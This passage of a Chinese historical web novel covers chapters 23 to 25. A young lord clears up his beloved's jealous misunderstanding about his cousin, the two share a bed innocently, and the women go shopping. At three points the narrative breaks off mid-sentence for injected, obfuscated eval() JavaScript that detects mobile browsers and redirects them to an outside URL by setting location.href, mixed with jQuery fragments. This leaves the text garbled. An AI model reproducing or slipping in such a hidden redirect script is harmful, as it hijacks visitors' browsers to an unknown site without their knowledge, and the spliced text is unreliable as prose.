她并非真的讨厌他,更多时候,只是嘴上不饶人,故意损他几句,找找场子而已。若是江砚黎当真有需她相助之处,即便没给什么好处,她也定会二话不说倾力相帮。 江砚黎鸦羽般的长睫垂下,在眼睑下投出浅浅阴影,衬得他的鼻梁愈发挺翘,薄唇抿成一道利落的弧线,冷冽禁欲感浑然天成。 男人平静开口: “我那套在城南处的宅院,如今住着位小姑娘。近些时日看她似有郁结,对我亦疏淡了些,平日里她本就喜静少出,也没什么人陪她说话,我怕她久居苑中闷出病来,想劳烦表姐得空时,常去陪她闲话几句,解解乏闷……” “咳咳咳!” 话未说完,明微忽被茶水呛得连连咳嗽,玉脸涨得微红。美目圆睁,满面惊惶与不敢置信,雪白玉指指着面前的江砚黎,颤巍巍道:“你、你你可真不得了!如今竟瞒着所有人,在外养了外室?!” “你还想让我帮你去哄那个外室?简直荒唐!我告诉你,门儿都没有!咱们家世代清白,可容不得你这般伤风败俗、败坏门楣的行径!” “若当真对人家有意,便该堂堂正正求娶,暗地里藏着掖着算什么样子?亏我还当你是存了什么好心思,竟是为了这般龌龊事!” 被骂得狗血淋头,江砚黎依旧淡定自若,不见半分愠怒。他不慌不忙地执起茶壶,将明微方才泼洒过半的茶盏再次添满,举手投足稳当从容:“你先听听这人是谁再拒绝也不迟,毕竟她与你,本就认识……” “认识?我怎会认得那等甘做别人外室的女子!”便是当真认识,此刻也只当陌路,她现在连江砚黎都不想认了好吗。 气得明微当下扭过头去,连看都不愿再看他一眼。 江砚黎叹了一口气,随后,淡淡吐出这一句: “她是阮南枝。” 明微:“?” 23. 闹什么 沉默了两秒。 “你……你说什么?!” 听到阮南枝的名字,明微不敢置信,明眸圆睁,白净的小脸上满是惊色:“你不是骗我吧?枝枝怎么会居于你城南的别院?” 但见江砚黎不像开玩笑的样子,了解他的明微知道他绝非作假之意,一颗心瞬间沉至谷底,张了张口,竟不知道该说什么好了。 枝枝那般纯良温软,不谙世事,定是被这江砚黎花言巧语蒙骗,连哄带骗地拐至外宅的。 可恶啊! “你回蓟县祭祖的这段时间里,阮家出了一些事,阮礼遭人检举勾连旧党,至今尚未洗脱罪责,因此枝枝孤身一人,暂居于景安苑。” 江砚黎将前因后果简略告知明微,她听闻后,眉宇间不由笼上一层轻愁。 “没想到我离京这些时日,枝枝竟遭逢这般变故……”明微怔怔出神,随即回过头来,嗔了一下神色如常的男人,“那你也不能这样趁人之危啊!” 谁趁人之危了?江砚黎觉得好笑,挑了挑眉:“我对她是真心实意的。你知道的,我先前从未喜欢过哪个女子。” “你想想,若我与她成事,她便成了你的弟媳,往后有我护着,也能让她少受些颠沛,岂不是两全其美?” 好像……有点道理哦。 明微居然真被他说动了几分,转瞬反应过来这人太会蛊惑人心,她拍了拍自己脸颊,强迫自己清醒过来,脑袋摇得像拨浪鼓,语气坚决地抗拒:“不行不行!差点就被你给带偏了!我答应你会多去陪陪枝枝,但她愿不愿意跟你在一起,得看她自己的心意,你不能强迫她!” “这是自然。” 慵雅又散漫的男人不甚在意地耸耸肩,反正阮南枝住在他的宅子里,日日相处,她迟早会落入自己掌中。 至于他要怎么步步引诱,让她动心,明微既无从知晓具体细节,也管不着。 一旁的明微仍被这突然得知的事情震惊得心情久久无法平复。 她实在想不明白。 江砚黎是什么样的人?自年少时起,他在京中众人的眼里就如高悬明月,对谁都带着恰到好处的礼貌,但始终隔着一层疏离感,从未对任何女子流露过半分特殊情愫。 除了她这个表姐,还有作为他挚友的太子,明微从未觉得,这世上有谁能真正靠近江砚黎的心,更别提在他心里占据半分真切的位置。 可如今,这个向来内里淡漠的人,怎么就偏偏将主意打到了阮南枝头上? 犹豫了片刻,明微按捺不住心头的疑惑,还是直视他,把憋在心里的话问了出来:“江砚黎,说真的,我实在没法想象你对一个人动心的样子,尤其那个人还是我的好朋友!” “你对枝枝的心思也太突然了,从小到大,我就没见你对哪个姑娘多过半分关注,你到底是怎么喜欢上她的?总得给我个说法吧?” 闻言,江砚黎抬眼看向明微,虽然依旧一副气定神闲的模样,但幽深的眼神里少了几分平日的懒散。 “枝枝很可爱啊,不是吗?” 或许是女孩太干净纯粹,从第一眼的初见,就已经撞进了他那颗向来波澜不惊的心。 见她笑的时候觉得舒心,看她蹙眉又忍不住想哄。 和她在一起的时候,特别放松。 不知不觉,心里就被占满了。 这话一出,明微赞同得不能再同意了,顺着他的话脱口而出:“那倒是。” 确实,阮南枝性子软乎乎的,待人又真诚,笑起来眉眼弯弯像藏了星星,确实是招人疼的可爱。 可这话从江砚黎嘴里说出来,还是让她觉得新奇又恍惚,毕竟这人从前眼里,从未如此直白地认可过谁可爱。 两人心照不宣,在对阮南枝的好感上达成了无需言说的共识。 戏散之后,明微哪里肯轻易放过江砚黎,拉着他非要去京城顶好的酒楼,扬言要狠狠撮他一顿不然绝不罢休。 而另一边,伤心欲绝的阮南枝早已没了听戏的兴致。台上唱念做打,她只觉嘈杂刺耳,坐立难安,不过半盏茶的功夫,便强撑着起身,郁郁返回了景安苑。 回了景安苑,阮南枝径直走入寝阁,抬手将朱门从内闩紧,没让一个人进来。 巧杏守在廊下,满心皆是自责懊悔。 此事全是自己的过错。若非她提议让小姐去戏楼看戏解闷,小姐也不会撞见世子与明微小姐那般亲昵的光景,更不会如今独守空房暗自垂泪,郁郁寡欢。 “小姐,晚膳已备妥,您多少用些吧。”巧杏立在门外,惴惴不安地轻敲了两下房门。 门内沉默片刻,才传来少女闷闷的嗓音:“我没有什么胃口,不必管我。” 果不其然是这般回应。巧杏望着紧闭的门扉,眉头蹙得更紧,心里又添了几分焦灼。 回来以后小姐就这样水米未进,再这般熬下去,她那柔弱的身子如何吃得消? 然而心情沉郁的阮南枝,哪里听得进劝。巧杏束手无策,也只能在门外干等着。 正当此时,一名婢子气喘吁吁地奔至跟前,压低声音着急道:“巧杏姐姐!世子爷回苑里了!” 听闻江砚黎归来的消息,巧杏心头一震,连忙朝外走去。 解铃还须系铃人,如今小姐不开心,想来也只有世子爷能解得开。 不过,她只是阮南枝身边的一介婢女,行事素来要忖度分寸。 巧杏实在摸不透,世子爷对自家小姐的心思究竟有几分真?富贵子弟多是风流惯了,身旁多几个女人本是常事,何曾见过谁为了一介女子真正上心? 更何况,女子吃醋本就易被视作矫情烦扰,在旁人看来多是不识好歹的小性子,世家公子们向来懒得花费心思去哄。 若是世子知晓了,小姐是因撞见他与明微小姐同行亲昵,暗自打翻了醋坛才郁郁寡欢,不知道这位向来散漫随性的男人,是否愿意屈尊降贵,放下身段来好生哄劝小姐。 纵有千种顾虑,可眼下别无他法,巧杏心一横,终究还是寻到了江砚黎跟前。 见是阮南枝的贴身婢女前来,江砚黎脚步微顿,看向她:“枝枝在做什么?” “回世子……”巧杏垂首敛眉,眼中闪过一丝迟疑,终究还是如实禀道,“小姐她……今日一天始终郁结于心,此刻正独自一人反锁在寝房内,不让任何人进去,连晚膳也未曾动过。” 听闻阮南枝竟然连晚膳也没动过,江砚黎脸上漫不经心的神色瞬间敛去,眉心微皱,眸色沉了沉。 薄凉的嘴唇抿成一条直线,他转身便朝着她寝房的方向迈步。 敲门声再次响起。 卧在床上的美人早已鬓发散乱,乌鸦鸦的青丝淌在榻上,铺满锦褥,那纤细的肩膀还在微微抖着,显然是是哭过许久,那股委屈劲儿还没缓过来。 “开门,是我。” 男人低沉的声音传来,能听得出来,他此时的心情绝对称不上愉快。 阮南枝倏地抬起头来,她咬着下唇,胡乱抹了把脸颊的泪痕,才撑着锦褥缓缓起身,虚浮着脚步挪到门边。 玉指搭在门闩上,顿了顿,轻轻将闩木抽开。门轴转动发出一声轻响,她垂着头,不敢去看门外的男人,柔顺亮丽的发丝垂落肩头,遮住了泛红的眼角,模样娇娇怯怯的,委屈极了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874887|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一只手掌捧起脸颊,目及女孩水泠泠的杏眸,眼尾还洇着哭过的红晕,姣好面容白若霜宣,不见半分血色,唇瓣也褪尽嫣红,江砚黎心脏一紧,不由皱眉。 “为何哭了?” 她只是再次低下头,并不言语。 见阮南枝这般沉默,男人心头莫名躁郁翻涌,原是因她眉间那抹愁绪而起的烦闷,此刻更甚。 他攥住她的纤细手腕,将人带入内室,反手阖上了门。 松了松攥着她腕子的力道,江砚黎终是俯身靠近,温热缱绻的气息拂过她的面庞,他并未唐突,只以指腹轻轻抚摸她莹彻细腻的脸儿,放低了声音,语气是自己都想象不到的温柔:“遇到什么事,同我说就是了。” 还说呢,都怪他。 偏偏这么风流,对自己又这么温柔,让她动了心。 阮南枝越想越难受,瞿瞿其目瞪了他一眼,委屈巴巴地推开他的手就要跑,却被男人扣着细腰按了回去。 “闹什么?” 闹什么? 在他眼里,自己就是在无理取闹吗? 她被按在怀中挣不脱,眼泪唰地滚落,砸在他那华贵的衣襟上洇开小片湿痕。 阮南枝侧过脸,攥着他的衣袖狠狠抹了把泪,声音哽咽但又倔强: “你根本就不真心!左一个温言软语,右一个眉眼含情,对着谁都这般风流,我偏不要做你众多红颜里的一个!”红着眼儿的女孩越说越委屈,泪水掉得更凶,樱唇小口不断吐出控诉的字句,“你明明……明明对我那么好,又对着旁人笑意相迎,我恨死你这副花心模样了!” 听着她抽抽搭搭的控诉,江砚黎心中顿生几分说不清道不明的莫名其妙,忍不住挑了挑眉梢。 扣着腰肢的手掌没松,反而俯身逼近,使得女孩湿润的墨瞳中倒映着他高大的身影。 “花心?” 他低笑出声,语气里满是困惑,“我不明白,我何时对旁人温言软语,又对旁人眉眼含情了?” 见江砚黎敢做不敢认,阮南枝更生气了,顾不上羞怯,猛地对着他近在咫尺的薄唇上咬了一口。 吃痛的男人闷哼一声,被狠狠咬了却一点也没生气,心下只觉得有趣,看向阮南枝的眼神忽而变得危险,随即反客为主,唇舌相覆,径直堵住她的口。 甫一发出娇啭嘤咛,转瞬就被他含咽入喉,阮南枝惊得杏眼圆睁,莹白的耳廓也烧得通红。 娇弱肩头急急拱动,在榻间挣扎着欲要逃离,可高大的男躯很快压下,教她动弹不得。 唇齿间的辗转吮吸既温柔又霸道,可怜的女孩被他毫无保留地品尝汲取着,只能无助地仰着头去迎合,口齿湿腻腻的交缠已然是密不可分。 少女软糯的啜泣声断断续续,终究是被欺负得狠了,蒙着一层水雾的眼儿媚娇湿亮,软软凝着面前的男人,眸中天地,只剩他一人的身影。 吻得又深又缠人,阮南枝浑身软了力气,再也没了挣扎的劲头,乖乖陷在他怀中。 江砚黎的唇畔沾着她的湿软津液,泛着水光,显得活像个勾人的男妖精。他玩味地勾起唇,稍稍退开些许,嗓音异常沙哑。 “现在可以好好和我说到底发生了什么吧?” 阮南枝还是不愿说,但屈服于他那灼灼目光,最终轻哼一声,哀怨地啜咽着: “你昨日与我告白,身上却沾着旁人的脂粉香气,分明是在宴席上同别的女子对饮亲昵过了……” “而且……而且今日我还看见你与明微姐姐并肩去看戏,举止那般亲近。我讨厌你,明微姐姐是我最敬爱的姐姐,我断不会为了你,与她生了罅隙!” 24. 解开心结 闻言,江砚黎先是一怔,沉默了一会儿,转而涌上几分啼笑皆非的恍然,望着阮南枝泫然欲泣的模样,竟觉有些无语又好笑。 “明微?你不知道我和明微是什么关系?” 这么亲密还能有什么关系,这让她怎么开口啊。 “什么关系?”阮南枝不解地咬咬唇。 “笨蛋枝枝。” 江砚黎似笑非笑,他轻轻拧了一下女孩粉光若腻的脸蛋,无奈又纵容地叹了一口气:“明微是我实打实的嫡亲表姐,我姑母的女儿,自小一同教养的血亲。” “今日同她去看戏,也不过是见你这几日总怏怏不乐,她刚好回京,我便去拜托她,往后得空多来陪陪你说话解解闷。” 阮南枝瞳孔骤缩,一双含着水雾的杏眼惊得瞪圆,嘴唇微张,半晌才找回自己的声音,难以置信地颤声道: “表、表姐弟?!” 她愣愣地望着面前之人,眼角还挂着的泪珠,那副瞠目结舌的模样,简直傻得可爱。 “京中无人不晓,我怎么会想到你竟然不知道啊。”唇角含笑的男人,偷亲了一口还在呆愣的女孩,“况且我也没想到,明微竟也一次也没和你提过。” 意识到是自己闹了一个大乌龙,阮南枝羞得脸颊爆红,眼神躲闪着弱弱嘟囔道: “我……我这不是才来京城没多久嘛,况且你与明微姐姐生得半点不像,连姓氏都不一样,谁会往表姐弟那处想呀……” 江砚黎笑了一下。 “至于昨日我衣上的脂粉香气……昨日宴席上,有趋炎附势之徒试图用女人来讨好我。我一点没理,可那女子不知收敛,凑得极近,她身上香粉浓重,想来便是那时沾染上的。” 说起此事,他眉梢微蹙,神情十分无辜委屈:“你尽可去问乌恪,他全程都在,我根本没让旁的女子碰到我身子一分一毫。” 误会尽数解开,心虚的女孩哼哼唧唧地抱上男人的腰,脸颊软软贴在他的衣襟上蹭了蹭,妄图这样蒙混过关。 乌发全然披散在肩后,那张羞赧的小脸莹白如玉,满是娇媚,美不胜收。 他竟不知,原来在阮南枝眼中,他就是这等会与其他女子暧昧纠缠的人? 少女这般小心翼翼的讨好,其实早已点燃了江砚黎心中的邪火,但他还是端着一副坐怀不乱的做派,嗤笑出声。 “傻枝枝,我这辈子只喜欢过你一个人,只亲过你一个人。” “枝枝要对我负责。” 话音落下,男人情难自抑地吻了吻阮南枝的后颈,雪嫩肌肤馨香蚀骨,香得让他不由得微微眯起了眼睛。 此刻的江砚黎,心底早已软成一汪春水。 “砚黎哥哥……” 阮南枝被他吻得身子一颤,后颈的酥麻顺着脊背蔓延开来。 此时,突然传来了不合时宜的“咕咕”两声叫声,是某人的肚子饿了。 闹了半天,晚膳没吃,确实该叫了。 她红着脸往男人怀里缩了缩。 纵使万般不舍得松开这软乎乎的小身子,江砚黎还是耐着性子拉起她:“乖,先去用膳。” 女孩面皮薄,身旁的男人却无半分顾忌,当着婢子们的面将阮南枝圈在怀中,玉勺舀起一匙糯软香甜的山药芡实粥,递至她殷红唇边,就这么哄着她用膳。 亲眼见自家小姐被世子温言开解,终是解了心头郁结,脸上也重绽了笑颜,巧杏这才松了口气。 虽仍觉有违礼教,于理不合,可瞧着二人这般情状,分明已是两心相契。 阮家出事以后,小姐这些日子过得何其痛苦…… 若能得世子这般疼惜呵护,换得一夕欢愉,那些繁文缛节,倒也不算什么了。 用膳完毕后,两人进了书房,相对伏案。 江砚黎心知阮南枝担忧父亲阮礼的境况,遂取过写信专用的宣纸铺在案上,递过狼毫。 “给伯父写封家书吧,我即刻差人快马送去岭南,也好慰他远思。” 不得不说,江砚黎实在是深谙人心,知晓阮南枝目前心里最牵挂的是什么,也愿意竭尽所能周全她的念想,给予她所求所盼。而今,她心中最大的牵挂,确实是父亲阮礼的境况。 他实在是太好了,通透又温柔,和他在一起真的很开心…… “好,谢谢砚黎哥哥。” 阮南枝抿唇浅笑,娇娇地抱住他的胳膊,小脑袋蹭了蹭,眼底满是依赖。 随后接过毛笔,濡墨轻蘸,簪花小楷娟秀清丽,一行行写尽近况。 女孩细细禀明自己在此间一切安好,诸事安稳,让父亲宽心勿念,又问及他那边岭南气候是否适宜,日常起居是否顺遂等等,最后再三嘱咐父亲务必好生保重,莫要操劳过度。 字里行间满是挂念。 信写好后,江砚黎十分默契地替她取来火漆封缄。 待印鉴落定,阮南枝抚过那方暗红印记,眉心不自主地微微拢起,往日里娇艳的容颜添了几分破碎感。 “我自小失恃,母亲生下我便难产去世了,是父亲一手将我养大……” “他是我在这世上唯一的亲人,我只盼,他平安无事。” 母亲的话题,于她而言是讳莫如深的禁区,很少向人谈及。那是她心底最隐秘的伤心之事,她的性子里有点要强,不愿将自己最脆弱的一面,暴露在他人眼前。 而今肯对江砚黎这般言说,已是将满心信任尽数交付,将自己毫无保留地摊在了他的面前。 男人听到她哀婉惆怅的话语后,大手紧紧牵起了女孩柔若无骨的小手,怜惜地把她拉进自己怀里。身躯高大的他将女孩完全护在臂弯,下巴抵在她的头顶,掌心顺着纤弱的脊背轻抚着: “别担心,有我在,断然不会让你父亲受苦。” 江砚黎顿了顿,又捧起阮南枝的脸,浓墨般的眸子里满是珍视,“如果伯母知道如今枝枝长成如今坚韧的模样,肯定也会为你高兴的。” 坚韧……吗? 竟然也能用坚韧这样的字词来形容她? 先前,总觉得自己又笨什么也做不好,只有江砚黎会这样夸她。 寻庇的小兽,渴望在和别人亲密相处的过程中,寻求一种安全感。 阮南枝抬手紧紧圈住面前之人的脖颈,踮起脚尖便缠着他亲,柔软的唇瓣笨拙又急切地蹭过他的薄唇。 被缠得紧了,男人闷笑一声,眯起多情的眉眼。 小姑娘比自己想象中的还要粘人。 乖死了,真是个好宝贝。 沾了情欲的江砚黎妖冶靡丽得不像话,他弯着唇角,低头吻去女孩的睫毛,细腻莹彻的肌肤触感让心底那点作恶的欲望愈发加深。 “砚黎哥哥,今晚……宿在我寝房,陪我一起睡吧。” 忽地,女孩鼓足勇气般,猝然吐出这么一句。 一起睡? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882465|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然听到她这么一说,江砚黎呼吸一窒,胸腔里的心跳猛地失了序。 面对心上人这般直白又软怯的邀约,他如何受得住?在他看来,这已是再明显不过的暗示。 男人的眼神瞬间沉了下来,幽暗而危险。手上不自觉扣住她的腰,低下头仔仔细细地凝视着阮南枝泛红的玉容,想要看看她是不是认真的,连一分一毫微小的神情变化都不放过。 明明是直白的邀约,但眼神澄澈纯净得不含半分杂念,又因这大胆的请求,透着股勾人的软媚。 无法分辨出这是何种意味,江砚黎却也依旧游刃有余,毕竟…… 送上门的傻兔子,不要白不要。 于是他好整以暇地朝她笑了下,答应得十分爽快。 “好啊,听枝枝的。” 说完,还轻佻慵雅地捏了捏少女泛红的耳垂,暧昧勾人。 窗畔浸着沉沉夜色,殿内光线晦暗。 沐浴完毕后,阮南枝披着松松软软的寝衣,脚步轻快地蹭到床边,掀起帐幔一角便麻利地蜷进被褥里。 比起忸怩,倒不如说是新奇兴致,抬眼用那澄澈明亮的眸子亮晶晶地望向江砚黎,粉白娇靥上挂着羞赧却又大胆的笑容,全然是对同眠这件事的期待。 本是站在床边,漫不经心撩起床幔的男人,在看到女孩此刻的神情后,动作不由得一顿。 目光自她濡湿的发梢描摹而下,素衣松垮地挂在肩头,勾勒出纤细的身材曲线,露在外面的小臂莹白如玉。 这般诱惑的模样,加之先前暗示意味满满的邀请,让他的喉结不自觉滚动了一下,眼神更加幽暗。 “快来呀,砚黎哥哥。” 阮南枝迫不及待地拍了拍床榻上给他预留的空位,掌心落在柔软的锦褥上,发出轻浅声响。 一副急不可耐的样子,江砚黎的眸子闪过一丝微不可察的诧异,没想到她竟然这般急色? 少女都这么放得开了,他似乎再没有什么犹豫的理由,于是抬步上了床榻,身形俯下想去吻那嫣红檀口,修长的手指也顺势往她寝衣系带探去,正要解开。 谁曾想,她突然抬手按住他的手,杏眸澄澈如溪,不含半分旖旎,十分天真雀跃:“砚黎哥哥,你别乱动呀!我听闻同榻而眠,当抵足夜话方有意思,可惜我母亲不在,在苏州时也没有什么可以同榻而眠的闺中密友,巧杏也碍于主仆之别不愿与我这样,因此枝枝从未得与旁人这般共卧过。” “如今和砚黎哥哥睡,倒真是了却了我这一桩心愿。” 她笑嘻嘻地凑近男人耳边,少女的馨香流荡醉人。 听闻此言的江砚黎,动作瞬间僵住。 望着女孩眼底纯粹的欢喜,顿生几分道不明的自惭形秽,男人忍不住溢出了一声散漫的笑。 他就知道,枝枝单纯懵懂,哪里会懂得像他那些见不得光的欲念。 好歹在她面前的也是气血方刚的成年男子,男女授受不亲的道理昭然,她却半点防备之心也无。 真当他是个坐怀不乱、守礼自持的好人了? 不过她那么单纯,心头那些旖旎念想倒也歇了大半。江砚黎勾唇,戳了戳她软乎乎的脸蛋:“早些安歇吧。” “哦……” 不明所以的阮南枝只当男人是乏了,便乖乖收了话头,没再缠着他。 女孩的藕臂不自觉环住他的臂膀,像抱着个温热的人形抱枕,呼吸渐渐变得匀长。 25. 同榻而眠 “枝枝!” 甫一见到阮南枝,明微便控制不住地朝她身上扑去,一把抱住了娇小的女孩,好久不见的思念之情溢于言表,“想死你了……” 还没等阮南枝来得及说话,江砚黎已伸手一提,将她从明微怀中牵出,随即长臂一揽,自然环住她那纤纤细腰,略微挑了挑眉,目光落向明微,眼底的占有欲,未言一字,已昭然若揭。 明微无语地沉默了一瞬,朝江砚黎翻了白眼。 他们两人之间的暗流涌动,让阮南枝看到了,忍不住捂住嘴扑哧一声笑了出来。 “好啦砚黎哥哥,你先前不是说今日要往都察院料理些公务么?这儿有微微陪着我便好,你且放心去吧。” 温声安慰后,玉琢般的小手轻拍他的手背,江砚黎不置可否,不顾明微与其他仆从在侧,低头在她光洁饱满的额间印下一记轻吻,眼底满是恋恋不舍。 本就没有江砚黎半分厚脸皮的小姑娘,此刻遭他这般当众亲昵戏谑,脸颊瞬间染上大片绯色,连忙羞赧地垂下眼帘,不敢去看明微与周遭仆从的神色。 明微:“……” 简直没眼看! 她忍无可忍地转过身去。江砚黎那副旁若无人的模样,让她觉得碍眼得很,只能暗自腹诽一句“厚脸皮”,干脆眼不见为净。 可怜了她的枝枝,这般娇怯纯良,就这么落入了这等步步为营之人的掌心。 呵呵,往后怕是再难脱身了。 终于是等到江砚黎走了,两个女孩终于得以凑在一处,细说些女儿家的闺房私语。 “枝枝,你最近还好吗?” 坐在寝房的软榻上,明微热络关切地捧起阮南枝的双手,柳眉紧蹙,不住担忧道:“我听江砚黎说,我不在京城的这段时间里,阮府遭逢变故,令尊遭人构陷,流放岭南,如今尚未洗清罪责……” “你独自支撑,定是受了不少委屈吧?” 说不委屈不担惊受怕,自然是假的。 先前好不容易将心绪调理平和,此刻被明微这般温言关切,积压的酸楚再次翻涌上来,阮南枝鼻尖一酸,竟又生出了想落泪的冲动。 “我没事的,明微姐姐。”她强压下鼻尖的酸涩,笑着摇了摇头,“其实……砚黎哥哥帮了我许多,一路护我周全,我并未受什么委屈。” 听闻江砚黎帮衬良多,这恰是明微最忧心的问题。深知男人本性的她,生怕单纯的阮南枝受了欺负,忙攥紧她的手追问:“他……可曾有半分强迫于你?” “强迫?” 全然不理解明微为何有此一问,阮南枝那水汪汪的眼眸里满是疑惑,望着她语气直率又笃定:“没有呀,砚黎哥哥待我极好,事事体贴又温柔耐心,他真的是一个特别特别好的人呢!” 好人? 江砚黎? 明微简直都要怀疑她们说的是不是一个人了,她实在是无法将好人这个词和江砚黎联系在一起。 不过既然见阮南枝说得如此真切,神色也没有半分勉强的意味,明微便知江砚黎确实未曾强迫于她,亦未多加苛待。悬着的那颗心总算落了地,眉毛也随之舒展了些许。 “那就好……”她松了一口气,“江砚黎虽是我表弟,我却还是放心不下你,就怕他欺负了你。” “你放心吧微微。”那张莹彻的小脸染上浅浅嫣红,阮南枝轻轻挨在明微肩头,赧然低语道,“先前不好意思与你说,自初见砚黎哥哥那日起,我就不可控制地喜欢上了他……” “如今能与他在一起,是我想也不敢想的得偿所愿。” 闻言,明微略一思忖,便恍然记起。 原是那年春日宴上,贤妃与皇贵妃的明争暗斗将阮南枝拖下了水,正是江砚黎挺身而出,言辞铿锵为她辨明清白。 想来,便是那一日,这个单纯的女孩,就已经动了心。 她了然点头,轻轻叹了口气。这混小子,倒也算做了件正经事。 “微微,我先前一直都不知道,砚黎哥哥是你的表弟……”阮南枝顿了顿,有些担忧明微会多想,“前几日他偶然向我提及,我这才知晓,我并非为了他而有意接近你……” 她担心,明微会觉得她有所图谋,为了接近江砚黎而刻意和她打好关系,也害怕她们的关系会受此影响。 闻言,明微的眼神中流露出一丝诧异,连连摇头:“傻枝枝,你怎么会这么想呢?不管你和江砚黎如何,我只希望,我和你的友情不会受到其他因素影响。” 况且江砚黎是内里那么强势的一个人,多半是他看上了阮南枝,威逼利诱逼迫人家小姑娘还差不多,哪有靠接近自己就能勾搭上江砚黎的道理。 她善于交际,向来和她走得近的贵女也不少,也没见过有谁能因此攀上江砚黎呀。 听到明微这么一说,知道她心里没有和自己疏远,阮南枝总算是放下了心来,再次笑意盈盈地挽上了她的手。 明微的视线无意识往寝房内间一扫,忽然瞥见妆台角落搁着一方墨玉扳指,榻边还搭着件玄色锦缎外袍……皆是男子的物件。 她心头猛地一跳,方才落下的心瞬间又悬到了嗓子眼。 他们两人……不会是已经同房了吧? 自己虽也是未成亲的闺阁少女,却早经母亲耳提面命,知晓些男女之事。 况且她与太子两情相悦,偶有情到浓时,也只是浅尝辄止,得以品尝欢愉滋味却也始终未越过最后一步,断不会让自己伤了身子。 可阮南枝不同,她母亲去得早,家中也没有什么母族长辈照拂,唯一的亲人父亲又是男子,诸多房中之事自然不便提及。明微心念一转,便知阮南枝定是对男女欢好之事不甚清楚。 念及此,秉持着姐姐照顾好妹妹的心情,她只觉自己有义务好好提点阮南枝这些男女间的隐秘情事。 女孩这样单纯无知,若是被江砚黎那混蛋莽撞相待,伤了身子可如何是好。 于是,明微斟酌半晌,终究还是咬了咬牙,犹豫着措辞开口道:“枝枝,你……你与江砚黎,是不是已经同榻而眠了?” 同榻而眠…… 懵懵懂懂的阮南枝,脑海中瞬间闪过昨夜的景象,她将江砚黎当成个好摸的抱枕一样抱着,两人实实在在是睡在了同一张床上。 未来得及细想明微那暧昧迟疑的语气里藏着别样意味,与她所想的全然不同,就下意识点了点头,脆生生应道:“是啊,我们昨夜就是睡在一张床上呀。” 果不其然,明微心头咯噔一下,暗叫不好。 可是这种难以言明的事,若是贸然直白跟阮南枝讲,她本就什么也不知道,恐怕是半点也领会不到。 看来,只能等回头自己想办法去找些避火图来,悄悄给她看,再和她细细说明才好。 暂且按捺住心头的顾虑,明微转而放缓了语气,对她说:“先前咱们不是就约好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947879|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要一同出去逛逛吗,眼下天气晴朗,正适合出门。街上新开了家首饰铺,听说样式别致得很,还有好些少见的珠花步摇,咱们去瞧瞧?” 阮南枝一听,盈盈动人的眸儿瞬间亮了起来,玉容是满满的欢喜,忙不迭点头。 她早就想和明微姐姐一起去逛逛了,自然是乐意至极。 两人携了贴身丫鬟,乘上马车出了门,不多时便来到那家新开的首饰店。 这家店处于京城中最繁华的街道的街心,踏入店内,就见各式首饰分置于描金漆盒中,件件精雕细琢,光华夺目,一看便知是专供京中勋贵世家贵女的上等货,价值不菲。 可明微挑起饰品来是毫不手软,她拈起一支赤金嵌红宝石的簪子,对着菱花镜比划了两下,便随口吩咐婢女:“这支要了。” 而后又挑了许多,件件皆是珍品,半分不心疼。转头见阮南枝正对着一支衔珠银步摇出神,眼底藏不住的心动,显然是有所犹豫。 如今阮家出了事,父亲身陷囹圄,她手边仅剩些微薄私产,哪敢这般挥霍。 见状,明微忍不住走上前,抬手替她将那步摇簪在发间,镜中少女瞬间添了几分灵动。她笑吟吟地打趣道:“枝枝,喜欢就只管拿下呀,何须犹豫?你的砚黎哥哥可有钱了,所有花销,回头都让他来结就好啦。” “你的砚黎哥哥”这几个字落在耳中,少女的颊畔顿时飞上两朵红云,像浸了水的胭脂般红润,娇艳欲滴。 将“砚黎哥哥”冠上“她的”归属,竟让阮南枝心头产生了一种美好得不真实的感觉。 砚黎哥哥是自己的。 可纵是已然得了他的人,与他在一起,阮南枝对花他银钱这件事,依旧觉得局促不安。女孩桃颊浮霞,声音微弱,下意识往后缩了缩手。 “这……这不好吧……” 阮礼一派清正,她自小受父亲教导,秉持着不贪慕虚荣的规矩,如今虽依附江砚黎,却从没想过要这般随意花他的银钱。 “这有什么打紧的?” 明微笑着捏了捏女孩的脸颊,语气笃定:“枝枝,你莫不是瞧不出,你住的景安苑里,哪样物件不是稀世珍品?墙挂的名人字画、案摆的玉瓷瓶器,皆是千金难买的上等货。江砚黎感情上怎么对你的我不清楚,但单是这些,便足以见得他在物质上从来没短过你半分。” “我最是厌烦那些话本里口腹蜜剑的男子,嘴上说着爱你说得比什么都响,真到了实处,却连一支像样的簪子、一盒上好的胭脂都舍不得给你买,抠抠搜搜的,那叫什么真心?” 说起这样的人,明微的眼神里满是不屑。 